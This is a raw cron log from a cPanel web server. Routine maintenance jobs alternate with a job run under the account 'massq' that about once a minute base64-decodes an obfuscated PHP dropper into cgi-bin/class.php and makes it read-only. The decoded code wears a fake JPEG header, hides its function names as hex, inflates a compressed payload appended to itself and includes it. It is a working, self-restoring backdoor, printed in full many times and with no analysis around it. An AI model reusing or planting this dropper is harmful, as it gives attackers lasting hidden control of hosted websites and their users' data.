Sep  1 07:11:01 server CROND[22429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:11:01 server CROND[22430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:12:01 server CROND[22961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:12:01 server CROND[22962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:12:01 server CROND[22963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:12:01 server CROND[22964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:13:01 server CROND[23477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:13:01 server CROND[23477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:13:01 server CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:13:01 server CROND[23479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:14:01 server CROND[23873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:14:01 server CROND[23874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:14:01 server CROND[23875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:15:01 server CROND[24268]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 07:15:01 server CROND[24270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:15:01 server CROND[24269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:15:01 server CROND[24273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:15:01 server CROND[24271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:15:01 server CROND[24272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:15:01 server CROND[24274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:15:01 server CROND[24275]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:16:01 server CROND[25166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:16:01 server CROND[25168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:16:01 server CROND[25169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:17:02 server CROND[26030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:17:02 server CROND[26031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:17:02 server CROND[26032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:18:01 server CROND[26608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:18:01 server CROND[26609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:18:01 server CROND[26610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:19:01 server CROND[26994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:19:01 server CROND[26995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:19:01 server CROND[26993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:20:01 server CROND[27393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:20:01 server CROND[27394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:20:01 server CROND[27399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:20:01 server CROND[27404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:20:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:20:01 server CROND[27406]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:20:01 server CROND[27408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:20:01 server CROND[27400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:20:01 server CROND[27401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:21:01 server CROND[28250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:21:01 server CROND[28251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:21:01 server CROND[28252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:22:01 server CROND[28641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:22:01 server CROND[28642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:22:01 server CROND[28644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:23:01 server CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:23:01 server CROND[29133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:23:01 server CROND[29134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:24:01 server CROND[29518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
